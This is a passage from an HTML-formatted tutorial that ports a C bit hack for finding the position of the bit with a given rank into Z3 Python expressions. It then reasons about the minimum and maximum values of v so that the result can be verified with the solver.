&lt;p&gt;But in Z3 we want to preserve the variables and &lt;strong&gt;don’t change them&lt;/strong&gt;. Their should be &lt;em&gt;constants&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Instead we will use a simple Python variable &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to hold the intermediate expressions.&lt;/p&gt;
&lt;p&gt;In C we have:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// note the -= modifier&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But in Python we introduce &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instead&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;   &lt;span class="c1"&gt;# changed from -= to a plain =&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a Z3 expression and we can replace it by another like in C we replace one value by other for the &lt;em&gt;same&lt;/em&gt; variable.&lt;/p&gt;
&lt;p&gt;The rest are just a copy-and-paste from the bithack.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xf&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x7&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x3&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x1&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;65&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="verification---when-s-64"&gt;Verification - when &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Now, the funny part. How to verify this?&lt;/p&gt;
&lt;p&gt;First a sanity check: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; must always to be between 1 and 64 – it is the position of a bit in a 64 bits width number after all.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;# check out of range for selected bit&lt;/span&gt;
&lt;span class="n"&gt;unsat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ok, let’s see what &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; value we have for some values of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# The 60th bit is the first 1 counting from the left (rank 1)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mb"&gt;0b00010001&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;60&lt;/span&gt;

&lt;span class="c1"&gt;# The 64th bit is the second 1 counting from the left (rank 2)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mb"&gt;0b00010001&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;sat&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solver&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;64&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Verifying that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is correct for &lt;em&gt;every&lt;/em&gt; possible value of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;strong&gt;by enumerating each possible case is not feasible&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;It’s just too expensive, in time, memory and brain power.&lt;/p&gt;
&lt;p&gt;So the plan is build a set of constraints that lead to a contradiction against &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: if it is satisfiable, the model (solution) found will be a counterexample and we’ll know that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is wrong.&lt;/p&gt;
&lt;p&gt;Assume that we fix &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. What we know about &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;We know that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; has one &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bit set at position 60 (reading from left), which it is the &lt;em&gt;rank bit&lt;/em&gt; and on the left of it it has one and only one &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bit more.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; could be one of these to name a few:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MSB  rank bit  LSB
   \     V    /
    ::10010000      (the :: means a bunch of zero
    ::01010000       to fill the 64 bits bit vector)
    ::00110011
 /------|
one and only one
    1 bit&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From the picture we can think, what value &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the &lt;em&gt;lowest&lt;/em&gt; of all the possible &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; values that satisfy &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;A number is lower than other than another if it has fewer &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits and those are in the right side (lesser significant bits).&lt;/p&gt;
&lt;p&gt;We cannot reduce the count of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits on the left side of the rank bit: we are forced to have &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits otherwise we would violate the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; condition. But we have no restriction on the right side.&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;minimum&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; value has all zeros on the right and it has all the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits &lt;em&gt;“pushed”&lt;/em&gt; to the left of the rank bit as possible.&lt;/p&gt;
&lt;p&gt;In short:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;     rank bit
         V
    ::00110000 ← the minimum
    ::10010000
    ::01010000
    ::00110011
 /------|
a single 1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Given &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we can write the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; value in two steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;build the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits sequence including the rank bit&lt;/li&gt;
&lt;li&gt;shift the sequence to the left filling the right bits with 0s&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;minimum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The next question is, what are the &lt;em&gt;greatest&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; of all the possible &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that satisfy &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;maximum&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; value has all the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; bits on the left (most significant bits) and the bits on the right of the rank bits are all &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It is basically the same reasoning for the minimum but in the opposite direction.&lt;/p&gt;
&lt;p&gt;In short:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;     rank bit
         V
    ::00110000 ← the minimum
    ::10010000
    ::01010000
    ::00110011
   1::00011111 ← the maximum
 /------|
a single 1&lt;/code&gt;&lt;/pre&gt;
